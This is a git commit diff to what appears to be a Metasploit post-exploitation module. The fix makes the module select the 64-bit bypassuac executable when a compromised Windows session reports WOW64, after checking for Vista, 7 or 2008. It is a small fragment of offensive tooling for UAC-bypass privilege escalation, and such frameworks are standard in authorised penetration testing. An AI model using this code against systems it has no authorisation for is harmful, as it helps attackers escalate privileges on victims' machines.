Add fix for WOW64 from ReL1k
git-svn-id: file:///home/svn/framework3/trunk@11650 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
23808d19cd
commit
21d93be897
|
@ -43,7 +43,8 @@ class Metasploit3 < Msf::Post
|
|||
def run
|
||||
|
||||
vuln = false
|
||||
winver = session.sys.config.sysinfo["OS"]
|
||||
sysinfo = session.sys.config.sysinfo
|
||||
winver = sysinfo["OS"]
|
||||
affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ]
|
||||
affected.each { |v|
|
||||
if winver.include? v
|
||||
|
@ -92,7 +93,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
# decide, x86 or x64
|
||||
bpexe = nil
|
||||
if payload =~ /x64/
|
||||
if payload =~ /x64/ or sysinfo["Architecture"] =~ /wow64/i
|
||||
bpexe = ::File.join(path, "bypassuac-x64.exe")
|
||||
else
|
||||
bpexe = ::File.join(path, "bypassuac-x86.exe")
|
||||
|
|
Loading…
Reference in New Issue